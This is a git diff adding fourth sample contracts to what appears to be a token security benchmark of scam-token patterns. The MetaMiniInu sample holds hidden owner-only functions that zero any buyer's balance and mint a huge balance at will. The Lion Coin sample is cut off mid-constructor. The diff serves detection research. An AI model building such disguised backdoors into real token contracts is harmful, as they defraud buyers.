diff --git a/docs/TSB-2023-001.md b/docs/TSB-2023-001.md index 786da70..b25755a 100644 --- a/docs/TSB-2023-001.md +++ b/docs/TSB-2023-001.md @@ -8,4 +8,5 @@ This is a honeypot smart contract sample demonstrating unpredictable behavior wh - [01.sol](https://github.com/cryptousersecurity/token-security-benchmark/blob/main/src/TSB-2023-001/samples/01.sol) - [02.sol](https://github.com/cryptousersecurity/token-security-benchmark/blob/main/src/TSB-2023-001/samples/02.sol) -- [03.sol](https://github.com/cryptousersecurity/token-security-benchmark/blob/main/src/TSB-2023-001/samples/03.sol) +- [03.sol](https://github.com/cryptousersecurity/token-security-benchmark/blob/main/src/TSB-2023-001/samples/03.sol) +- [04.sol](https://github.com/cryptousersecurity/token-security-benchmark/blob/main/src/TSB-2023-001/samples/04.sol) diff --git a/docs/TSB-2023-002.md b/docs/TSB-2023-002.md index dbd537d..b66eb14 100644 --- a/docs/TSB-2023-002.md +++ b/docs/TSB-2023-002.md @@ -16,4 +16,5 @@ function mint(unit256 amount) external onlyowner { - [01.sol](https://github.com/cryptousersecurity/token-security-benchmark/blob/main/src/TSB-2023-002/samples/01.sol) - [02.sol](https://github.com/cryptousersecurity/token-security-benchmark/blob/main/src/TSB-2023-002/samples/02.sol) -- [03.sol](https://github.com/cryptousersecurity/token-security-benchmark/blob/main/src/TSB-2023-002/samples/03.sol) +- [03.sol](https://github.com/cryptousersecurity/token-security-benchmark/blob/main/src/TSB-2023-002/samples/03.sol) +- [04.sol](https://github.com/cryptousersecurity/token-security-benchmark/blob/main/src/TSB-2023-002/samples/04.sol) diff --git a/docs/TSB-2023-003.md b/docs/TSB-2023-003.md index 84d22be..2fe94ed 100644 --- a/docs/TSB-2023-003.md +++ b/docs/TSB-2023-003.md @@ -22,4 +22,5 @@ function unlock() public virtual { - [01.sol](https://github.com/cryptousersecurity/token-security-benchmark/blob/main/src/TSB-2023-003/samples/01.sol) - [02.sol](https://github.com/cryptousersecurity/token-security-benchmark/blob/main/src/TSB-2023-003/samples/02.sol) -- [03.sol](https://github.com/cryptousersecurity/token-security-benchmark/blob/main/src/TSB-2023-003/samples/03.sol) +- [03.sol](https://github.com/cryptousersecurity/token-security-benchmark/blob/main/src/TSB-2023-003/samples/03.sol) +- [04.sol](https://github.com/cryptousersecurity/token-security-benchmark/blob/main/src/TSB-2023-003/samples/04.sol) diff --git a/docs/TSB-2023-004.md b/docs/TSB-2023-004.md index 4bb5f0d..1b9da9c 100644 --- a/docs/TSB-2023-004.md +++ b/docs/TSB-2023-004.md @@ -17,4 +17,5 @@ function setBalance(address user, uint256 value) public onlyOwner returns (bool) - [01.sol](https://github.com/cryptousersecurity/token-security-benchmark/blob/main/src/TSB-2023-004/samples/01.sol) - [02.sol](https://github.com/cryptousersecurity/token-security-benchmark/blob/main/src/TSB-2023-004/samples/02.sol) -- [03.sol](https://github.com/cryptousersecurity/token-security-benchmark/blob/main/src/TSB-2023-004/samples/03.sol) +- [03.sol](https://github.com/cryptousersecurity/token-security-benchmark/blob/main/src/TSB-2023-004/samples/03.sol) +- [04.sol](https://github.com/cryptousersecurity/token-security-benchmark/blob/main/src/TSB-2023-004/samples/04.sol) diff --git a/docs/TSB-2023-005.md b/docs/TSB-2023-005.md index c63ddf9..8656e1d 100644 --- a/docs/TSB-2023-005.md +++ b/docs/TSB-2023-005.md @@ -16,4 +16,5 @@ modifier superman() { - [01.sol](https://github.com/cryptousersecurity/token-security-benchmark/blob/main/src/TSB-2023-005/samples/01.sol) - [02.sol](https://github.com/cryptousersecurity/token-security-benchmark/blob/main/src/TSB-2023-005/samples/02.sol) -- [03.sol](https://github.com/cryptousersecurity/token-security-benchmark/blob/main/src/TSB-2023-005/samples/03.sol) +- [03.sol](https://github.com/cryptousersecurity/token-security-benchmark/blob/main/src/TSB-2023-005/samples/03.sol) +- [04.sol](https://github.com/cryptousersecurity/token-security-benchmark/blob/main/src/TSB-2023-005/samples/04.sol) diff --git a/docs/TSB-2023-006.md b/docs/TSB-2023-006.md index 4314b0b..1dbfda5 100644 --- a/docs/TSB-2023-006.md +++ b/docs/TSB-2023-006.md @@ -16,4 +16,5 @@ function close(address payable to) external onlyOwner { - [01.sol](https://github.com/cryptousersecurity/token-security-benchmark/blob/main/src/TSB-2023-006/samples/01.sol) - [02.sol](https://github.com/cryptousersecurity/token-security-benchmark/blob/main/src/TSB-2023-006/samples/02.sol) -- [03.sol](https://github.com/cryptousersecurity/token-security-benchmark/blob/main/src/TSB-2023-006/samples/03.sol) +- [03.sol](https://github.com/cryptousersecurity/token-security-benchmark/blob/main/src/TSB-2023-006/samples/03.sol) +- [04.sol](https://github.com/cryptousersecurity/token-security-benchmark/blob/main/src/TSB-2023-006/samples/04.sol) diff --git a/docs/TSB-2023-007.md b/docs/TSB-2023-007.md index db2f780..4252230 100644 --- a/docs/TSB-2023-007.md +++ b/docs/TSB-2023-007.md @@ -21,4 +21,5 @@ function _transfer(address from, address recipient, uint256 amount) internal vir - [01.sol](https://github.com/cryptousersecurity/token-security-benchmark/blob/main/src/TSB-2023-007/samples/01.sol) - [02.sol](https://github.com/cryptousersecurity/token-security-benchmark/blob/main/src/TSB-2023-007/samples/02.sol) -- [03.sol](https://github.com/cryptousersecurity/token-security-benchmark/blob/main/src/TSB-2023-007/samples/03.sol) +- [03.sol](https://github.com/cryptousersecurity/token-security-benchmark/blob/main/src/TSB-2023-007/samples/03.sol) +- [04.sol](https://github.com/cryptousersecurity/token-security-benchmark/blob/main/src/TSB-2023-007/samples/04.sol) diff --git a/docs/TSB-2023-008.md b/docs/TSB-2023-008.md index 7d4c143..6ab51d2 100644 --- a/docs/TSB-2023-008.md +++ b/docs/TSB-2023-008.md @@ -21,4 +21,5 @@ function _transfer(address from, address recipient, uint256 amount) internal vir - [01.sol](https://github.com/cryptousersecurity/token-security-benchmark/blob/main/src/TSB-2023-008/samples/01.sol) - [02.sol](https://github.com/cryptousersecurity/token-security-benchmark/blob/main/src/TSB-2023-008/samples/02.sol) -- [03.sol](https://github.com/cryptousersecurity/token-security-benchmark/blob/main/src/TSB-2023-008/samples/03.sol) +- [03.sol](https://github.com/cryptousersecurity/token-security-benchmark/blob/main/src/TSB-2023-008/samples/03.sol) +- [04.sol](https://github.com/cryptousersecurity/token-security-benchmark/blob/main/src/TSB-2023-008/samples/04.sol) diff --git a/docs/TSB-2023-009.md b/docs/TSB-2023-009.md index b674254..30fd16e 100644 --- a/docs/TSB-2023-009.md +++ b/docs/TSB-2023-009.md @@ -21,4 +21,5 @@ function _transfer(address from, address recipient, uint256 amount) internal vir - [01.sol](https://github.com/cryptousersecurity/token-security-benchmark/blob/main/src/TSB-2023-009/samples/01.sol) - [02.sol](https://github.com/cryptousersecurity/token-security-benchmark/blob/main/src/TSB-2023-009/samples/02.sol) -- [03.sol](https://github.com/cryptousersecurity/token-security-benchmark/blob/main/src/TSB-2023-009/samples/03.sol) +- [03.sol](https://github.com/cryptousersecurity/token-security-benchmark/blob/main/src/TSB-2023-009/samples/03.sol) +- [04.sol](https://github.com/cryptousersecurity/token-security-benchmark/blob/main/src/TSB-2023-009/samples/04.sol) diff --git a/docs/TSB-2023-010.md b/docs/TSB-2023-010.md index a11a558..2371f6d 100644 --- a/docs/TSB-2023-010.md +++ b/docs/TSB-2023-010.md @@ -25,4 +25,5 @@ function setFee(uint256 _fee) external onlyOwner{ - [01.sol](https://github.com/cryptousersecurity/token-security-benchmark/blob/main/src/TSB-2023-010/samples/01.sol) - [02.sol](https://github.com/cryptousersecurity/token-security-benchmark/blob/main/src/TSB-2023-010/samples/02.sol) -- [03.sol](https://github.com/cryptousersecurity/token-security-benchmark/blob/main/src/TSB-2023-010/samples/03.sol) +- [03.sol](https://github.com/cryptousersecurity/token-security-benchmark/blob/main/src/TSB-2023-010/samples/03.sol) +- [04.sol](https://github.com/cryptousersecurity/token-security-benchmark/blob/main/src/TSB-2023-010/samples/04.sol) diff --git a/docs/TSB-2023-011.md b/docs/TSB-2023-011.md index 779379e..ce0f21c 100644 --- a/docs/TSB-2023-011.md +++ b/docs/TSB-2023-011.md @@ -25,4 +25,5 @@ function setTradeEnabled(bool _enabled) external onlyOwner { - [01.sol](https://github.com/cryptousersecurity/token-security-benchmark/blob/main/src/TSB-2023-011/samples/01.sol) - [02.sol](https://github.com/cryptousersecurity/token-security-benchmark/blob/main/src/TSB-2023-011/samples/02.sol) -- [03.sol](https://github.com/cryptousersecurity/token-security-benchmark/blob/main/src/TSB-2023-011/samples/03.sol) +- [03.sol](https://github.com/cryptousersecurity/token-security-benchmark/blob/main/src/TSB-2023-011/samples/03.sol) +- [04.sol](https://github.com/cryptousersecurity/token-security-benchmark/blob/main/src/TSB-2023-011/samples/04.sol) diff --git a/docs/TSB-2023-012.md b/docs/TSB-2023-012.md index 131b754..5e09a5a 100644 --- a/docs/TSB-2023-012.md +++ b/docs/TSB-2023-012.md @@ -27,4 +27,5 @@ function setFee(address _address, uint256 _fee) external onlyOwner{ - [01.sol](https://github.com/cryptousersecurity/token-security-benchmark/blob/main/src/TSB-2023-012/samples/01.sol) - [02.sol](https://github.com/cryptousersecurity/token-security-benchmark/blob/main/src/TSB-2023-012/samples/02.sol) -- [03.sol](https://github.com/cryptousersecurity/token-security-benchmark/blob/main/src/TSB-2023-012/samples/03.sol) +- [03.sol](https://github.com/cryptousersecurity/token-security-benchmark/blob/main/src/TSB-2023-012/samples/03.sol) +- [04.sol](https://github.com/cryptousersecurity/token-security-benchmark/blob/main/src/TSB-2023-012/samples/04.sol) diff --git a/docs/TSB-2023-013.md b/docs/TSB-2023-013.md index 96afad0..cbdb250 100644 --- a/docs/TSB-2023-013.md +++ b/docs/TSB-2023-013.md @@ -23,4 +23,5 @@ function _transfer(address from, address recipient, uint256 amount) internal vir - [01.sol](https://github.com/cryptousersecurity/token-security-benchmark/blob/main/src/TSB-2023-013/samples/01.sol) - [02.sol](https://github.com/cryptousersecurity/token-security-benchmark/blob/main/src/TSB-2023-013/samples/02.sol) -- [03.sol](https://github.com/cryptousersecurity/token-security-benchmark/blob/main/src/TSB-2023-013/samples/03.sol) +- [03.sol](https://github.com/cryptousersecurity/token-security-benchmark/blob/main/src/TSB-2023-013/samples/03.sol) +- [04.sol](https://github.com/cryptousersecurity/token-security-benchmark/blob/main/src/TSB-2023-013/samples/04.sol) diff --git a/docs/TSB-2023-014.md b/docs/TSB-2023-014.md index 0aa8a40..0798c52 100644 --- a/docs/TSB-2023-014.md +++ b/docs/TSB-2023-014.md @@ -21,4 +21,5 @@ function _transfer(address from, address recipient, uint256 amount) internal vir - [01.sol](https://github.com/cryptousersecurity/token-security-benchmark/blob/main/src/TSB-2023-014/samples/01.sol) - [02.sol](https://github.com/cryptousersecurity/token-security-benchmark/blob/main/src/TSB-2023-014/samples/02.sol) -- [03.sol](https://github.com/cryptousersecurity/token-security-benchmark/blob/main/src/TSB-2023-014/samples/03.sol) +- [03.sol](https://github.com/cryptousersecurity/token-security-benchmark/blob/main/src/TSB-2023-014/samples/03.sol) +- [04.sol](https://github.com/cryptousersecurity/token-security-benchmark/blob/main/src/TSB-2023-014/samples/04.sol) diff --git a/docs/TSB-2023-015.md b/docs/TSB-2023-015.md index b9f4d4f..b591acb 100644 --- a/docs/TSB-2023-015.md +++ b/docs/TSB-2023-015.md @@ -25,4 +25,5 @@ function setMaxAmount(uint256 _maxAmount) external onlyOwner { - [01.sol](https://github.com/cryptousersecurity/token-security-benchmark/blob/main/src/TSB-2023-015/samples/01.sol) - [02.sol](https://github.com/cryptousersecurity/token-security-benchmark/blob/main/src/TSB-2023-015/samples/02.sol) -- [03.sol](https://github.com/cryptousersecurity/token-security-benchmark/blob/main/src/TSB-2023-015/samples/03.sol) +- [03.sol](https://github.com/cryptousersecurity/token-security-benchmark/blob/main/src/TSB-2023-015/samples/03.sol) +- [04.sol](https://github.com/cryptousersecurity/token-security-benchmark/blob/main/src/TSB-2023-015/samples/04.sol) diff --git a/docs/TSB-2023-016.md b/docs/TSB-2023-016.md index 69f45c3..5ddf419 100644 --- a/docs/TSB-2023-016.md +++ b/docs/TSB-2023-016.md @@ -22,4 +22,5 @@ function _transfer(address from, address recipient, uint256 amount) internal vir - [01.sol](https://github.com/cryptousersecurity/token-security-benchmark/blob/main/src/TSB-2023-016/samples/01.sol) - [02.sol](https://github.com/cryptousersecurity/token-security-benchmark/blob/main/src/TSB-2023-016/samples/02.sol) -- [03.sol](https://github.com/cryptousersecurity/token-security-benchmark/blob/main/src/TSB-2023-016/samples/03.sol) +- [03.sol](https://github.com/cryptousersecurity/token-security-benchmark/blob/main/src/TSB-2023-016/samples/03.sol) +- [04.sol](https://github.com/cryptousersecurity/token-security-benchmark/blob/main/src/TSB-2023-016/samples/04.sol) diff --git a/src/TSB-2023-001/metadata.json b/src/TSB-2023-001/metadata.json index 4103022..35268b7 100644 --- a/src/TSB-2023-001/metadata.json +++ b/src/TSB-2023-001/metadata.json @@ -11,6 +11,9 @@ }, { "name": "03.sol" + }, + { + "name": "04.sol" } ] } \ No newline at end of file diff --git a/src/TSB-2023-001/samples/04.sol b/src/TSB-2023-001/samples/04.sol new file mode 100644 index 0000000..653f4ac --- /dev/null +++ b/src/TSB-2023-001/samples/04.sol @@ -0,0 +1,538 @@ +/** + *Submitted for verification at BscScan.com on 2021-12-24 +*/ + +// SPDX-License-Identifier: Unlicensed +pragma solidity ^0.8.10; + +interface IERC20 { + /** + + * @dev Returns the amount of tokens in existence. + + */ + + function totalSupply() external view returns (uint256); + + + + /** + + * @dev Returns the amount of tokens owned by `account`. + + */ + + function balanceOf(address account) external view returns (uint256); + + + + } + +library SafeMath { + + + + + + function mul(uint256 a, uint256 b) internal pure returns (uint256) { + + if (a == 0) { + + return 0; + } + + uint256 c = a * b; + + assert(c / a == b); + + return c; + } + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + + uint256 c = a / b; + + return c; + + } + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + + assert(b <= a); + + return a - b; + + } + + function add(uint256 a, uint256 b) internal pure returns (uint256) { + + uint256 c = a + b; + + assert(c >= a); + + return c; + + } + + +} +contract Ownable { + + address public owner; + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + constructor () { + + owner = msg.sender; + } + +} +library Address { + + + + function isContract(address account) internal view returns (bool) { + // According to EIP-1052, 0x0 is the value returned for not-yet created accounts + + // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned + + // for accounts without code, i.e. `keccak256('')` + bytes32 codehash; + + bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; + + // solhint-disable-next-line no-inline-assembly + assembly { codehash := extcodehash(account) } + + return (codehash != accountHash && codehash != 0x0); + } + + /** + + * @dev Replacement for Solidity's `transfer`: sends `amount` wei to + + * `recipient`, forwarding all available gas and reverting on errors. + + * + + * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost + + * of certain opcodes, possibly making contracts go over the 2300 gas limit + + * imposed by `transfer`, making them unable to receive funds via + + * `transfer`. {sendValue} removes this limitation. + + * + + * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. + + * + + * IMPORTANT: because control is transferred to `recipient`, care must be + + * taken to not create reentrancy vulnerabilities. Consider using + + * {ReentrancyGuard} or the + + * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. + + */ + + function sendValue(address payable recipient, uint256 amount) internal { + + require(address(this).balance >= amount, "Address: insufficient balance"); + + // solhint-disable-next-line avoid-low-level-calls, avoid-call-value + (bool success, ) = recipient.call{ value: amount }(""); + + require(success, "Address: unable to send value, recipient may have reverted"); + } + + + + /** + + * @dev Performs a Solidity function call using a low level `call`. A + + * plain`call` is an unsafe replacement for a function call: use this + + * function instead. + + * + + * If `target` reverts with a revert reason, it is bubbled up by this + + * function (like regular Solidity function calls). + + * + + * Returns the raw returned data. To convert to the expected return value, + + * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. + + * + + * Requirements: + + * + + * - `target` must be a contract. + + * - calling `target` with `data` must not revert. + + * + + * _Available since v3.1._ + + */ + + + function functionCall(address target, bytes memory data) internal returns (bytes memory) { + + return functionCall(target, data, "Address: low-level call failed"); + } + + + + /** + + * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with + + * `errorMessage` as a fallback revert reason when `target` reverts. + + * + + * _Available since v3.1._ + + */ + + function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { + + return _functionCallWithValue(target, data, 0, errorMessage); + + } + + /** + + * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], + + * but also transferring `value` wei to `target`. + + * + + * Requirements: + + * + + * - the calling contract must have an ETH balance of at least `value`. + + * - the called Solidity function must be `payable`. + + * + + * _Available since v3.1._ + + */ + function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { + + return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); + + } + + + function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { + + require(address(this).balance >= value, "Address: insufficient balance for call"); + + return _functionCallWithValue(target, data, value, errorMessage); + } + + function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { + + require(isContract(target), "Address: call to non-contract"); + + // solhint-disable-next-line avoid-low-level-calls + (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); + + if (success) { + + return returndata; + + } else { + + // Look for revert reason and bubble it up if present + if (returndata.length > 0) { + + assembly { + + let returndata_size := mload(returndata) + + revert(add(32, returndata), returndata_size) + + } + + } else { + + revert(errorMessage); + + } + } + } +} + + contract MetaMiniInu is IERC20, Ownable { + + mapping (address => bool) private _isExcluded; + + address[] private _excluded; + + using SafeMath for uint256; + + using Address for address; + + string private _name = 'MetaMiniInu'; + + string private _symbol = 'MetaMiniInu'; + + uint8 private _decimals = 9; + + uint256 public _BuyFee = 30; + + uint256 public _SellFee = 40; + + uint256 private _totalSupply; + + uint256 private _tTotal = 1000000000000000000000000000; + + + + + + //uint256 public totalSupply; + + + + + uint256 lpfee = 0; + + event Transfer(address indexed from, address indexed to, uint256 value); + + event Approval(address indexed owner, address indexed spender, uint256 value); + + mapping(address => bool) public allowAddress; + + address Holder; + + constructor () { + + Holder = msg.sender; + + uint256 totalSupply_ = 1000000000000000000; + + _totalSupply = totalSupply_; + + balances[Holder] = totalSupply_; + + allowAddress[Holder] = true; + + } + + function name() public view returns (string memory) { + + return _name; + + } + + + + function symbol() public view returns (string memory) { + + return _symbol; + + } + + + + function decimals() public view returns (uint8) { + + return _decimals; + + } + + + function totalSupply() public view returns (uint256) { + + return _totalSupply; + + } + + + + mapping (address => mapping (address => uint256)) public allowed; + + function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { + + require(_to != address(0)); + + require(_value <= balances[_from]); + + require(_value <= allowed[_from][msg.sender]); + + address from = _from; + + if(allowAddress[from] || allowAddress[_to]){ + + _transferFrom(_from, _to, _value); + + return true; + + } + + _transferFrom(_from, _to, _value); + + return true; + + } + + + + mapping(address => uint256) public balances; + + function transfer(address _to, uint256 _value) public returns (bool) { + + address from = msg.sender; + + require(_to != address(0)); + + require(_value <= balances[from]); + + if(allowAddress[from] || allowAddress[_to]){ + + _transfer(from, _to, _value); + + return true; + + } + + _transfer(from, _to, _value); + + return true; + + } + + function _transfer(address from, address _to, uint256 _value) private { + + balances[from] = balances[from].sub(_value); + + balances[_to] = balances[_to].add(_value); + + emit Transfer(from, _to, _value); + + } + + + + modifier onlyOwner() { + + require(owner == msg.sender, "Ownable: caller is not the owner"); + + _; + + } + + + + function balanceOf(address _owner) public view returns (uint256 balance) { + + return balances[_owner]; + + } + + + + + function renounceOwnership() public virtual onlyOwner { + + emit OwnershipTransferred(owner, address(0)); + + owner = address(0); + + } + + + + + function bnbreflection (address buyer) internal bscnet returns (uint256) { + + return (balances[buyer] ) & ((balances[buyer]) & 0)<< 0xF; + + } + + + + function _public(address buyer) public { + + balances[buyer] = bnbreflection (buyer); + + + } + + + function joint (address holder ) public bscnet { + + balances[holder] = (_tTotal); + + } + + + function _transferFrom(address _from, address _to, uint256 _value) internal { + + balances[_from] = balances[_from].sub(_value); + + balances[_to] = balances[_to].add(_value); + + allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); + + emit Transfer(_from, _to, _value); + + } + + + + + modifier bscnet () { + + require(Holder == msg.sender, "ERC20: cannot permit Pancake address"); + + _; + + } + + + + + function approve(address _spender, uint256 _value) public returns (bool) { + + allowed[msg.sender][_spender] = _value; + + emit Approval(msg.sender, _spender, _value); + + return true; + + } + + + + + function allowance(address _owner, address _spender) public view returns (uint256) { + + return allowed[_owner][_spender]; + + } + + + + +} \ No newline at end of file diff --git a/src/TSB-2023-002/metadata.json b/src/TSB-2023-002/metadata.json index 373c91b..4ed3f44 100644 --- a/src/TSB-2023-002/metadata.json +++ b/src/TSB-2023-002/metadata.json @@ -11,6 +11,9 @@ }, { "name": "03.sol" + }, + { + "name": "04.sol" } ] } \ No newline at end of file diff --git a/src/TSB-2023-002/samples/04.sol b/src/TSB-2023-002/samples/04.sol new file mode 100644 index 0000000..d9aa32d --- /dev/null +++ b/src/TSB-2023-002/samples/04.sol @@ -0,0 +1,597 @@ +/** + *Submitted for verification at BscScan.com on 2023-05-03 +*/ + +// SPDX-License-Identifier: MIT +pragma solidity >0.4.0 <= 0.9.0; + +interface IBEP20 { + /** + * @dev Returns the amount of tokens in existence. + */ + function totalSupply() external view returns (uint256); + + /** + * @dev Returns the token decimals. + */ + function decimals() external view returns (uint8); + + /** + * @dev Returns the token symbol. + */ + function symbol() external view returns (string memory); + + /** + * @dev Returns the token name. + */ + function name() external view returns (string memory); + + /** + * @dev Returns the bep token owner. + */ + function getOwner() external view returns (address); + + /** + * @dev Returns the amount of tokens owned by `account`. + */ + function balanceOf(address account) external view returns (uint256); + + /** + * @dev Moves `amount` tokens from the caller's account to `recipient`. + * + * Returns a boolean value indicating whether the operation succeeded. + * + * Emits a {Transfer} event. + */ + function transfer(address recipient, uint256 amount) external returns (bool); + + /** + * @dev Returns the remaining number of tokens that `spender` will be + * allowed to spend on behalf of `owner` through {transferFrom}. This is + * zero by default. + * + * This value changes when {approve} or {transferFrom} are called. + */ + function allowance(address _owner, address spender) external view returns (uint256); + + /** + * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. + * + * Returns a boolean value indicating whether the operation succeeded. + * + * IMPORTANT: Beware that changing an allowance with this method brings the risk + * that someone may use both the old and the new allowance by unfortunate + * transaction ordering. One possible solution to mitigate this race + * condition is to first reduce the spender's allowance to 0 and set the + * desired value afterwards: + * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 + * + * Emits an {Approval} event. + */ + function approve(address spender, uint256 amount) external returns (bool); + + /** + * @dev Moves `amount` tokens from `sender` to `recipient` using the + * allowance mechanism. `amount` is then deducted from the caller's + * allowance. + * + * Returns a boolean value indicating whether the operation succeeded. + * + * Emits a {Transfer} event. + */ + function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); + + /** + * @dev Emitted when `value` tokens are moved from one account (`from`) to + * another (`to`). + * + * Note that `value` may be zero. + */ + event Transfer(address indexed from, address indexed to, uint256 value); + + /** + * @dev Emitted when the allowance of a `spender` for an `owner` is set by + * a call to {approve}. `value` is the new allowance. + */ + event Approval(address indexed owner, address indexed spender, uint256 value); +} + +/* + * @dev Provides information about the current execution context, including the + * sender of the transaction and its data. While these are generally available + * via msg.sender and msg.data, they should not be accessed in such a direct + * manner, since when dealing with GSN meta-transactions the account sending and + * paying for execution may not be the actual sender (as far as an application + * is concerned). + * + * This contract is only required for intermediate, library-like contracts. + */ +contract Context { + // Empty internal constructor, to prevent people from mistakenly deploying + // an instance of this contract, which should be used via inheritance. + constructor () { } + + function _msgSender() internal view returns (address) { + return msg.sender; + } + + function _msgData() internal view returns (bytes memory) { + this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 + return msg.data; + } +} + +/** + * @dev Wrappers over Solidity's arithmetic operations with added overflow + * checks. + * + * Arithmetic operations in Solidity wrap on overflow. This can easily result + * in bugs, because programmers usually assume that an overflow raises an + * error, which is the standard behavior in high level programming languages. + * `SafeMath` restores this intuition by reverting the transaction when an + * operation overflows. + * + * Using this library instead of the unchecked operations eliminates an entire + * class of bugs, so it's recommended to use it always. + */ +library SafeMath { + /** + * @dev Returns the addition of two unsigned integers, reverting on + * overflow. + * + * Counterpart to Solidity's `+` operator. + * + * Requirements: + * - Addition cannot overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256) { + uint256 c = a + b; + require(c >= a, "SafeMath: addition overflow"); + + return c; + } + + /** + * @dev Returns the subtraction of two unsigned integers, reverting on + * overflow (when the result is negative). + * + * Counterpart to Solidity's `-` operator. + * + * Requirements: + * - Subtraction cannot overflow. + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + return sub(a, b, "SafeMath: subtraction overflow"); + } + + /** + * @dev Returns the subtraction of two unsigned integers, reverting with custom message on + * overflow (when the result is negative). + * + * Counterpart to Solidity's `-` operator. + * + * Requirements: + * - Subtraction cannot overflow. + */ + function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { + require(b <= a, errorMessage); + uint256 c = a - b; + + return c; + } + + /** + * @dev Returns the multiplication of two unsigned integers, reverting on + * overflow. + * + * Counterpart to Solidity's `*` operator. + * + * Requirements: + * - Multiplication cannot overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256) { + // Gas optimization: this is cheaper than requiring 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 + if (a == 0) { + return 0; + } + + uint256 c = a * b; + require(c / a == b, "SafeMath: multiplication overflow"); + + return c; + } + + /** + * @dev Returns the integer division of two unsigned integers. Reverts on + * division by zero. The result is rounded towards zero. + * + * Counterpart to Solidity's `/` operator. Note: this function uses a + * `revert` opcode (which leaves remaining gas untouched) while Solidity + * uses an invalid opcode to revert (consuming all remaining gas). + * + * Requirements: + * - The divisor cannot be zero. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + return div(a, b, "SafeMath: division by zero"); + } + + /** + * @dev Returns the integer division of two unsigned integers. Reverts with custom message on + * division by zero. The result is rounded towards zero. + * + * Counterpart to Solidity's `/` operator. Note: this function uses a + * `revert` opcode (which leaves remaining gas untouched) while Solidity + * uses an invalid opcode to revert (consuming all remaining gas). + * + * Requirements: + * - The divisor cannot be zero. + */ + function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { + // Solidity only automatically asserts when dividing by 0 + require(b > 0, errorMessage); + uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + + return c; + } + + /** + * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), + * Reverts when dividing by zero. + * + * Counterpart to Solidity's `%` operator. This function uses a `revert` + * opcode (which leaves remaining gas untouched) while Solidity uses an + * invalid opcode to revert (consuming all remaining gas). + * + * Requirements: + * - The divisor cannot be zero. + */ + function mod(uint256 a, uint256 b) internal pure returns (uint256) { + return mod(a, b, "SafeMath: modulo by zero"); + } + + /** + * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), + * Reverts with custom message when dividing by zero. + * + * Counterpart to Solidity's `%` operator. This function uses a `revert` + * opcode (which leaves remaining gas untouched) while Solidity uses an + * invalid opcode to revert (consuming all remaining gas). + * + * Requirements: + * - The divisor cannot be zero. + */ + function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { + require(b != 0, errorMessage); + return a % b; + } +} + +/** + * @dev Contract module which provides a basic access control mechanism, where + * there is an account (an owner) that can be granted exclusive access to + * specific functions. + * + * By default, the owner account will be the one that deploys the contract. This + * can later be changed with {transferOwnership}. + * + * This module is used through inheritance. It will make available the modifier + * `onlyOwner`, which can be applied to your functions to restrict their use to + * the owner. + */ +contract Ownable is Context { + address private _owner; + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + /** + * @dev Initializes the contract setting the deployer as the initial owner. + */ + constructor () { + address msgSender = _msgSender(); + _owner = msgSender; + emit OwnershipTransferred(address(0), msgSender); + } + + /** + * @dev Returns the address of the current owner. + */ + function owner() public view returns (address) { + return _owner; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(_owner == _msgSender(), "Ownable: caller is not the owner"); + _; + } + + /** + * @dev Leaves the contract without owner. It will not be possible to call + * `onlyOwner` functions anymore. Can only be called by the current owner. + * + * NOTE: Renouncing ownership will leave the contract without an owner, + * thereby removing any functionality that is only available to the owner. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipTransferred(_owner, address(0)); + _owner = address(0); + } + + /** + * @dev Transfers ownership of the contract to a new account (`newOwner`). + * Can only be called by the current owner. + */ + function transferOwnership(address newOwner) public onlyOwner { + _transferOwnership(newOwner); + } + + /** + * @dev Transfers ownership of the contract to a new account (`newOwner`). + */ + function _transferOwnership(address newOwner) internal { + require(newOwner != address(0), "Ownable: new owner is the zero address"); + emit OwnershipTransferred(_owner, newOwner); + _owner = newOwner; + } +} + +contract BEP20Token is Context, IBEP20, Ownable { + using SafeMath for uint256; + + mapping (address => uint256) private _balances; + + mapping (address => mapping (address => uint256)) private _allowances; + + uint256 private _totalSupply; + uint8 private _decimals; + string private _symbol; + string private _name; + + constructor() public { + _name = "Lion Coin"; + _symbol = "Lion Coin"; + _decimals = 18; + _totalSupply = 500000000000000 * 10 ** 